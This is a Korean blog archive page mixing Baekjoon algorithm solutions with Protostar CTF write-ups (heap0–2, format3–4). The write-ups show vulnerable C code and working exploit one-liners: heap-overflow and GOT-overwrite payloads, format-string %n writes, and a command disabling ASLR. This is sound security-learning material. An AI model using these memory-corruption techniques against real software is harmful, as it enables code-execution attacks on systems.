백준 4716번 풍선
https://www.acmicpc.net/problem/4716 4716번: 풍선 입력은 여러 개의 테스트 케이스로 이루어져 있다. 각 테스트 케이스의 첫째 줄에는 팀의 수 N(1 ≤ N ≤ 1,000)과 방 A와 B에 보관되어있는 풍선의 수 A, B가 주어진다. (0 ≤ A, B ≤ 10,000) 다음 N개 www.acmicpc.net 문제 전대프연 대회에서 문제를 푼 팀은 풍선을 받게 된다. 풍선은 사람이 직접 달아주기 때문에 자원 봉사자가 필요하다. 풍선은 방 A와 방 B에 보관되어 있다. 대회에 참가한 팀의 수는 총 N개이고, 앉아있는 자리는 서로 다르다. 어떤 팀은 방 A에 가깝고, 어떤 팀은 B에 더 가깝다. 각 팀에게 달아줘야 하는 풍선의 수와 방 A와 B로부터의 거리가 주어진다. 이때, ..
2023.12.11
no image
protostar heap2
old.liveoverflow.com/binary_hacking/protostar/heap2.html Heap 2 - LiveOverflow Solving heap2 from exploit-exercises.com to learn about heap use-after-free (UAF) exploits old.liveoverflow.com #include #include #include #include #include struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; while(1) { printf("[ auth = %p, serv..
2020.11.12
no image
protostar heap1
old.liveoverflow.com/binary_hacking/protostar/heap1.html Heap 1 - LiveOverflow We are solving heap1 from exploit-exercises.com by exploiting a heap overflow. old.liveoverflow.com #include #include #include #include #include struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2..
2020.11.12
백준 1969번: DNA
문제 DNA란 어떤 유전물질을 구성하는 분자이다. 이 DNA는 서로 다른 4가지의 뉴클레오티드로 이루어져 있다(Adenine, Thymine, Guanine, Cytosine). 우리는 어떤 DNA의 물질을 표현할 때, 이 DNA를 이루는 뉴클레오티드의 첫글자를 따서 표현한다. 만약에 Thymine-Adenine-Adenine-Cytosine-Thymine-Guanine-Cytosine-Cytosine-Guanine-Adenine-Thymine로 이루어진 DNA가 있다고 하면, “TAACTGCCGAT”로 표현할 수 있다. 그리고 Hamming Distance란 길이가 같은 두 DNA가 있을 때, 각 위치의 뉴클오티드 문자가 다른 것의 개수이다. 만약에 “AGCAT"와 ”GGAAT"는 첫 번째 글자와 세 ..
2020.11.11
백준 3085번: 사탕 게임
www.acmicpc.net/problem/3085 3085번: 사탕 게임 첫째 줄에 상근이가 먹을 수 있는 사탕의 최대 개수를 출력한다. www.acmicpc.net 문제 상근이는 어렸을 적에 "봄보니 (Bomboni)" 게임을 즐겨했다. 가장 처음에 N×N크기에 사탕을 채워 놓는다. 사탕의 색은 모두 같지 않을 수도 있다. 상근이는 사탕의 색이 다른 인접한 두 칸을 고른다. 그 다음 고른 칸에 들어있는 사탕을 서로 교환한다. 이제, 모두 같은 색으로 이루어져 있는 가장 긴 연속 부분(행 또는 열)을 고른 다음 그 사탕을 모두 먹는다. 사탕이 채워진 상태가 주어졌을 때, 상근이가 먹을 수 있는 사탕의 최대 개수를 구하는 프로그램을 작성하시오. 입력 첫째 줄에 보드의 크기 N이 주어진다. (3 ≤ N ≤..
2020.11.10
no image
protostar heap0
old.liveoverflow.com/binary_hacking/protostar/heap0.html Heap 0 - LiveOverflow Introducing the heap by looking at what malloc() does. old.liveoverflow.com #include #include #include #include #include struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { s..
2020.11.06
no image
protostar format4
old.liveoverflow.com/binary_hacking/protostar/format4.html Format 4 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveoverflow.com #include #include #include #include int target; void hello() { printf("code execution redirected! you win\n"); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdi..
2020.11.05
no image
protostar format3
old.liveoverflow.com/binary_hacking/protostar/format3.html Format 3 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveoverflow.com #include #include #include #include int target; void printbuffer(char *string) { printf(string); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printbuffer(buffer);..
2020.11.05

백준 4716번 풍선

assb
|2023. 12. 11. 14:14

https://www.acmicpc.net/problem/4716

 

4716번: 풍선

입력은 여러 개의 테스트 케이스로 이루어져 있다. 각 테스트 케이스의 첫째 줄에는 팀의 수 N(1 ≤ N ≤ 1,000)과 방 A와 B에 보관되어있는 풍선의 수 A, B가 주어진다. (0 ≤ A, B ≤ 10,000)  다음 N개

www.acmicpc.net

문제

전대프연 대회에서 문제를 푼 팀은 풍선을 받게 된다. 풍선은 사람이 직접 달아주기 때문에 자원 봉사자가 필요하다.

풍선은 방 A와 방 B에 보관되어 있다. 대회에 참가한 팀의 수는 총 N개이고, 앉아있는 자리는 서로 다르다. 어떤 팀은 방 A에 가깝고, 어떤 팀은 B에 더 가깝다.

각 팀에게 달아줘야 하는 풍선의 수와 방 A와 B로부터의 거리가 주어진다. 이때, 모든 풍선을 달아주는데 필요한 이동 거리의 최솟값을 출력한다. 대회에서 풍선을 달아주는 사람은 매우 많고, 풍선은 한 가지 색상을 여러 개 달아준다고 가정한다. 풍선을 달기 위해 이동해야하는 거리는 팀이 A와 B로부터 떨어진 거리와 같다. 풍선을 달아주는 사람은 한 번에 풍선 하나만 들고 이동할 수 있다.

입력

입력은 여러 개의 테스트 케이스로 이루어져 있다. 각 테스트 케이스의 첫째 줄에는 팀의 수 N(1 ≤ N ≤ 1,000)과 방 A와 B에 보관되어있는 풍선의 수 A, B가 주어진다. (0 ≤ A, B ≤ 10,000)

다음 N개 줄에는 팀에게 달아줘야하는 풍선의 수 K와 방 A로부터 떨어진 거리 DA, B로부터 떨어진 거리 DB (0 ≤ DA, DB ≤ 1,000)가 주어진다. 풍선이 부족한 경우는 없다. 즉, Σi Ki ≤ A+B.

입력의 마지막 줄에는 0이 세 개 주어진다.

출력

각 테스트 케이스에 대해서, 모든 팀에게 풍선을 달아주기 위해 필요한 이동 거리의 최솟값을 한 줄에 하나씩 출력한다. 이때, 풍선을 달아주고 방 A나 B로 돌아오는 거리는 포함하지 않는다. 즉, 방 A와 B에서 팀으로 이동하는 거리만 포함한다.

아이디어

방 A, B에 풍선이 있고 각 팀마다 방마다의 거리와 필요한 풍선 수가 주어진다. 이때 최소로 이동하는 거리를 구해야 한다.

여기서 가장 중요한 것은 방과의 거리의 차가 큰 팀이다. 왜냐? 방 a나 b의 거리가 같거나 조금밖에 차이가 안 나면 어느 방을 가던 상관이 없다.

따라서 거리의 차를 내림차순으로 정렬한 뒤, 거리차가 큰 팀을 먼저 처리하면 된다.

코드

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.StringTokenizer;

public class Main {

    private static class Team implements Comparable<Team> {
        int count;
        int distanceA;
        int distanceB;

        public Team(int count, int distanceA, int distanceB) {
            this.count = count;
            this.distanceA = distanceA;
            this.distanceB = distanceB;
        }

        private int getDiff() {
            return Math.abs(distanceA - distanceB);
        }

        @Override
        public int compareTo(Team o) {
            return Integer.compare(o.getDiff(), getDiff());
        }
    }

    public static void main(String[] args) throws IOException {
        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
        StringTokenizer st;

        StringBuilder sb = new StringBuilder();
        while (true) {
            st = new StringTokenizer(br.readLine());

            int n = Integer.parseInt(st.nextToken());
            if (n == 0) break;

            int a = Integer.parseInt(st.nextToken());
            int b = Integer.parseInt(st.nextToken());

            Team[] teams = new Team[n];
            for (int i = 0; i < n; i++) {
                st = new StringTokenizer(br.readLine());
                teams[i] = new Team(Integer.parseInt(st.nextToken()),
                        Integer.parseInt(st.nextToken()),
                        Integer.parseInt(st.nextToken()));
            }
            Arrays.sort(teams); // 방 사이의 거리의 차가 큰 것부터 풍선 나르기

            int answer = 0;
            for (Team t : teams) {
                if (t.distanceA < t.distanceB) { // a가 가까울 경우 방 a에서 풍선 나르기
                    if (a >= t.count) {
                        answer += t.count * t.distanceA;
                        a -= t.count;
                    } else { // 풍선이 부족하다면 나머지는 b에서
                        answer += a * t.distanceA;
                        t.count -= a;
                        a = 0;

                        answer += t.count * t.distanceB;
                        b -= t.count;
                    }
                } else { // b가 가까울 경우 방 b에서 풍선 나르기
                    if (b >= t.count) {
                        answer += t.count * t.distanceB;
                        b -= t.count;
                    } else { // 풍선이 부족하다면 나머지는 a에서
                        answer += b * t.distanceB;
                        t.count -= b;
                        b = 0;

                        answer += t.count * t.distanceA;
                        a -= t.count;
                    }
                }
            }
            sb.append(answer).append("\n");
        }

        System.out.print(sb);
    }

}

참고

https://devbelly.tistory.com/194

728x90

protostar heap2

assb
|2020. 11. 12. 15:57

old.liveoverflow.com/binary_hacking/protostar/heap2.html

 

Heap 2 - LiveOverflow

Solving heap2 from exploit-exercises.com to learn about heap use-after-free (UAF) exploits

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

 이번 문제는 overflow를 발싱시켜서 auth->auth에 값을 넣어줘야 한다. 

 

 먼저 auth와 service에 임의의 값을 넣고 login 해봤다. 문제가 해결되지는 않았지만, auth와 service의 주소값 차이를 확인할 수 있었다. 

 

 그리고 다음으로는 service에 위에서 확인한 주소 차인 16byte 이상의 문자를 넣어준 후 login을 하니 문제가 풀렸다. 

 

 문제 페이로드를 정리하면 다음과 같다. 이때 문자 길이에 공백도 포함이므로 공백+임의의 15바이트 문자를 입력하면 문제가 풀리고, 그 이하의 문자를 입력하면 문제가 풀리지 않는다. 

(python -c 'print "auth ABC\n"+"service "+"A"*15+"\n"+"login"')|./heap2

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap1  (0) 2020.11.12
protostar heap0  (0) 2020.11.06
protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05

protostar heap1

assb
|2020. 11. 12. 15:26

old.liveoverflow.com/binary_hacking/protostar/heap1.html

 

Heap 1 - LiveOverflow

We are solving heap1 from exploit-exercises.com by exploiting a heap overflow.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

  이 문제는 printf 함수의 GOT를 winner 함수의 주소로 변경해야 한다. strcpy 함수를 사용해 heap overflow를 발생시켜서 GOT 값을 변경한다. 

 

GOT란?

 

protostar format4

old.liveoverflow.com/binary_hacking/protostar/format4.html Format 4 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveov..

assb.tistory.com

 

 

 먼저 printf 함수의 GOT를 확인한다. 

0x8049774

 

 strcpy 함수를 실행하게 bp를 걸고 프로그램을 돌린다. 이때 argv[1]과 argv[2]를 넣고 실행해야지 오류가 안난다.  

 

 프로그램을 실행한 후 esp를 살피면 0x0804a018이라는 주소를 확인할 수 있다. 이를 따라 이동하면 포인터가 가리키는 공간이 나오며, argv[1]로 입력한 AAAA가 저장된 것을 확인할 수 있다. 즉, 0x0804a018는 i1->name이다.

0x804a02C에는 주소가 존재하는데, 이는 i2의 name 포인터이다. 이 위치에 GOT를 넣어주고, 그 다음 winner 함수의 주소를 넣어주면 winner 함수가 실행되게 된다. 

 

정리해보면 이렇게 된다.

0xbffffc80: i1->name pointer

0x0804a018: i1->name

0x0804a02C: i2->name pointer

0x0804a038: i2->name

 

 argv[1]로 임의의 20byte+printf got, argv[2]로 winner 주소를 입력하면 문제가 풀린다.

./heap1 `python -c 'print "\x90"*20+"\x74\x97\x04\x08"+" \x94\x84\x04\x08"'`

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap2  (0) 2020.11.12
protostar heap0  (0) 2020.11.06
protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05

문제

 

DNA란 어떤 유전물질을 구성하는 분자이다. 이 DNA는 서로 다른 4가지의 뉴클레오티드로 이루어져 있다(Adenine, Thymine, Guanine, Cytosine). 우리는 어떤 DNA의 물질을 표현할 때, 이 DNA를 이루는 뉴클레오티드의 첫글자를 따서 표현한다. 만약에 Thymine-Adenine-Adenine-Cytosine-Thymine-Guanine-Cytosine-Cytosine-Guanine-Adenine-Thymine로 이루어진 DNA가 있다고 하면, “TAACTGCCGAT”로 표현할 수 있다. 그리고 Hamming Distance란 길이가 같은 두 DNA가 있을 때, 각 위치의 뉴클오티드 문자가 다른 것의 개수이다. 만약에 “AGCAT"와 ”GGAAT"는 첫 번째 글자와 세 번째 글자가 다르므로 Hamming Distance는 2이다.

우리가 할 일은 다음과 같다. N개의 길이 M인 DNA s1, s2, ..., sn가 주어져 있을 때 Hamming Distance의 합이 가장 작은 DNA s를 구하는 것이다. 즉, s와 s1의 Hamming Distance + s와 s2의 Hamming Distance + s와 s3의 Hamming Distance ... 의 합이 최소가 된다는 의미이다.

 

 

입력

 

첫 줄에 DNA의 수 N과 문자열의 길이 M이 주어진다. 그리고 둘째 줄부터 N+1번째 줄까지 N개의 DNA가 주어진다. N은 1,000보다 작거나 같은 자연수이고, M은 50보다 작거나 같은 자연수이다.

 

 

출력

 

첫째 줄에 Hamming Distance의 합이 가장 작은 DNA 를 출력하고, 둘째 줄에는 그 Hamming Distance의 합을 출력하시오. 그러한 DNA가 여러 개 있을 때에는 사전순으로 가장 앞서는 것을 출력한다.

 

 

이 문제는 주어진 DNA들과의 Hamming Distance 합이 가장 최소가 되는 DNA를 구하면 된다. 

문제를 푸는 방법은 간단하다. 주어진 DNA들의 각 위치마다 뉴클오티드 문자를 세서, 그 개수가 가장 많은 것들을 연결하면 된다. 이때 사전순으로 출력하므로 뉴클오티드 문자의 수가 같을 경우에는 가장 알파벳 순서가 빠른 것을 선택한다. 

Hamming Distance 합은 DNA의 총 개수에서 선택한 뉴클오티드 문자의 개수를 뺀 것들의 합이 된다. 

 

 

코드

 

#include <iostream>
#include <string>
using namespace std;

int n, m;
string DNA[1000];

int max_num(int a, int c, int g, int t){
    int max;

    max=(a>=c)?a:c;
    max=(max>=g)?max:g;
    max=(max>=t)?max:t;
    
    return max;
}

void hamming_distance(){
    int cnt=0;
    string dna="";
    
    for(int i=0; i<m; i++){
        int a=0, c=0, g=0, t=0;
        for(int j=0; j<n; j++){
            switch(DNA[j][i]){
                case 'A':
                    a++;
                    break;
                case 'C':
                    c++;
                    break;
                case 'G':
                    g++;
                    break;
                case 'T':
                    t++;
                    break;
            }
        }
        
        int max=max_num(a, c, g, t);
        
        if(max==a) dna+='A';
        else if(max==c) dna+='C';
        else if(max==g) dna+='G';
        else dna+='T';
        
        cnt+=(n-max);

    }
    
    cout<<dna<<'\n'<<cnt;
}

int main(){
    cin>>n>>m;
    for(int i=0; i<n; i++)
        cin>>DNA[i];
    
    hamming_distance();
}
728x90

www.acmicpc.net/problem/3085

 

3085번: 사탕 게임

첫째 줄에 상근이가 먹을 수 있는 사탕의 최대 개수를 출력한다.

www.acmicpc.net

 

 

문제

 

상근이는 어렸을 적에 "봄보니 (Bomboni)" 게임을 즐겨했다.

가장 처음에 N×N크기에 사탕을 채워 놓는다. 사탕의 색은 모두 같지 않을 수도 있다. 상근이는 사탕의 색이 다른 인접한 두 칸을 고른다. 그 다음 고른 칸에 들어있는 사탕을 서로 교환한다. 이제, 모두 같은 색으로 이루어져 있는 가장 긴 연속 부분(행 또는 열)을 고른 다음 그 사탕을 모두 먹는다.

사탕이 채워진 상태가 주어졌을 때, 상근이가 먹을 수 있는 사탕의 최대 개수를 구하는 프로그램을 작성하시오.

 

 

입력

 

첫째 줄에 보드의 크기 N이 주어진다. (3 ≤ N ≤ 50)

다음 N개 줄에는 보드에 채워져 있는 사탕의 색상이 주어진다. 빨간색은 C, 파란색은 P, 초록색은 Z, 노란색은 Y로 주어진다.

사탕의 색이 다른 인접한 두 칸이 존재하는 입력만 주어진다.

 

 

출력

 

첫째 줄에 상근이가 먹을 수 있는 사탕의 최대 개수를 출력한다.

 

 

코드

 

c++

#include <iostream>
using namespace std;

int n;
char board[51][51];

int max(int a, int b){
    return a>b?a:b;
}

void swap(char &a, char &b){
    char tmp=a;
    a=b;
    b=tmp;
}

int bomboni(){
    int candy=1;
    for(int i=0; i<n; i++){
        int tmp=1;
        
        for(int j=0; j<n; j++){
            if(board[i][j]==board[i][j+1])
                tmp++;
            else{
                candy=max(candy, tmp);
                tmp=1;
            }
        }
        candy=max(candy, tmp);
        
        
        for(int j=0; j<n; j++){
            if(board[j][i]==board[j+1][i])
                tmp++;
            else{
                candy=max(candy, tmp);
                tmp=1;
            }
        }
        candy=max(candy, tmp);
    }
    
    return candy;
}


int main(){
    cin>>n;
    
    for(int i=0; i<n; i++)
        for(int j=0; j<n; j++)
            cin>>board[i][j];
            
    int candy=0;
    for(int i=0; i<n; i++){
        for(int j=0; j<n-1; j++){
            swap(board[i][j], board[i][j+1]);
            candy=max(candy, bomboni());
            swap(board[i][j], board[i][j+1]);
            swap(board[j][i], board[j+1][i]);
            candy=max(candy, bomboni());
            swap(board[j][i], board[j+1][i]);
        }
    }
    
    cout<<candy;
}
728x90

'알고리즘 > 백준' 카테고리의 다른 글

백준 9093번: 단어 뒤집기  (0) 2020.11.03
백준 1920번: 수 찾기  (0) 2020.07.15
백준 2869번: 달팽이는 올라가고 싶다  (0) 2020.07.15
백준 9466번: 텀 프로젝트  (0) 2020.05.18
백준 2331번: 반복수열  (0) 2020.05.18

protostar heap0

assb
|2020. 11. 6. 22:17

old.liveoverflow.com/binary_hacking/protostar/heap0.html

 

Heap 0 - LiveOverflow

Introducing the heap by looking at what malloc() does.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}

 이 문제는 heap을 overflow 시켜야 한다. d와 f를 malloc으로 메모리 동적 할당을 하는데, 이럴 경우 해당 변수는 heap에 존재하게 된다. 

 코드를 살펴보면, f->fp는 nowinner 함수를 가리키고 있다. 또한 d->name에 argv[1]을 strcpy하는데, d->name을 overflow 시켜서 f->fp가 winner 함수를 가리키게 해야한다. 

 

 문제를 풀기에 앞서 winner 함수의 주소를 확인했다. 

 8048464

 

 코드를 확인해보면 d와 f의 주소를 출력한다. 프로그램을 실행해서 해당 변수들의 주소를 확인한다. 

 

 해당 변수들의 주소(0x804a008, 0x804a050) 사이에는 72만큼의 간격이 존재한다. 따라서 임의의 72바이트와 win 함수의 주소를 입력하면 문제가 풀린다. 

 

./heap0 `python -c 'print "\x90"*72+"\x64\x84\x04\x08"'`

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap2  (0) 2020.11.12
protostar heap1  (0) 2020.11.12
protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05

protostar format4

assb
|2020. 11. 5. 19:52

old.liveoverflow.com/binary_hacking/protostar/format4.html

 

Format 4 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

 이번 문제는 hello 함수를 실행시켜야 한다. exit(1) 코드를 사용해서 hello 함수를 호출하게 한다. 

 

echo 0 > /proc/sys/kernel/randomize_va_space

 먼저 aslr을 끈다. 

 

 다음으로는 hello 함수의 주소를 확인한다. objdump를 써도 되고, gdb를 사용해도 된다. 

 080484b4

 

 vuln 함수에서 exit 함수를 확인한다. exit@plt를 보면 첫번째 줄에 GOT 주소가 존재한다.

 PLT는 외부 프로시저를 연결해주는 테이블로, PLT를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다. GOT란 PLT가 참조하는 테이블로, 프로시저들의 주소가 들어있다. 즉, PLT를 호출하면 GOT로 점프하는데, GOT에는 함수의 실제 주소가 쓰여있는 것이다.

 즉 GOT의 주소는 0x8049724이고, 해당 주소의 값을 hello 함수의 주소로 바꿔주면 exit() 함수가 실행될 때 hello 함수가 실행되게 된다.

 

  gdb를 사용해서 프로그램을 실행하며 GOT 주소의 값을 확인했다. GOT의 값이 0x080484b4가 되는 페이로드를 찾았다. 

 

 해당 페이로드를 사용하면 hello 함수가 실행되며 문제가 풀린다. 

(python -c 'print "\x24\x97\x04\x08"+"AAAA"+"\x26\x97\x04\x08"+"%x"*2+"%33949x"+"%n"+"%99152x"+"%n"')|./format4

 

 

참고사이트

 

PLT와 GOT 자세히 알기 1

Dynamic Linking 과정을 추적해 PLT와 GOT를 이해해보자 :) 시스템 해킹을 공부하시는 분들이라면 PLT와 GOT에 대해 알고 있을 것입니다. 이제 막 시스템 해킹 공부를 시작한 분들도 한 번 쯤 들어보셨을

bpsecblog.wordpress.com

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap1  (0) 2020.11.12
protostar heap0  (0) 2020.11.06
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05
protostar format1  (0) 2020.11.05

protostar format3

assb
|2020. 11. 5. 18:17

old.liveoverflow.com/binary_hacking/protostar/format3.html

 

Format 3 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

 format3은 target의 값을 0x01025544로 바꿔야 한다. 이는 두가지 방법으로 풀 수 있는데, format2처럼 풀던가(대신 값이 크기 때문에 실행 시간이 오래 걸린다) 혹은 각 바이트마다 나눠서 값을 넣어줄 수 있다. 

 

echo 0 > /proc/sys/kernel/randomize_va_space

 문제를 풀기에 앞서 aslr을 해제하고 target의 주소를 찾는다. 

 080496f4

 

 그런 다음 target의 주소를 입력해서 위치를 찾는다. 12번째 위치에 값이 저장된다. 

 

 가장 간단한 방법은 11번째 위치에 target의 값을 0x01025544로 바꾸기 위해 큰 값을 넣어주는 방법이 있다. 하지만 이 방법은 실행시간이 길다. 

(python -c 'print "\xf4\x96\x04\x08" + "%08x"*10+"%16930032x"+"%n"')|./format3 

 

 

 두번째 방법은 target의 각 바이트마다 값을 넣어주는 방법이다. 080496f4를  080496f4, 080496f5, 080496f6 셋으로 나눠서 각 바이트에 44/55/102를 넣어준다. 

 

 먼저 각 바이트에 값을 넣어주기 위해서 주소를 넣어준다. 이때 값을 조절해줘야 하기 때문에 각 주소 앞에 임의의 값을 넣어준다. 

 

 그리고 080496f4에 44를 넣어주기 위해서 값을 찾아준다. "%x"*10으로 진행하면 44보다 큰 값이 들어가기 때문에 "%1c"로 바꿔주었다. 

 

 

 다음으로는 080496f5에 55를 넣어준다. 

 

 마지막으로 080496f6에 102를 넣어주면 문제가 풀린다. 

(python -c 'print "\xf4\x96\x04\x08"+"AAAA"+"\xf5\x96\x04\x08"+"AAAA"+"\xf6\x96\x04\x08"+"%1c"*10+"%38c"+"%n"+"%17c"+"%n"+"%173c"+"%n"')|./format3

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap0  (0) 2020.11.06
protostar format4  (0) 2020.11.05
protostar format2  (0) 2020.11.05
protostar format1  (0) 2020.11.05
protostar format0  (0) 2020.11.01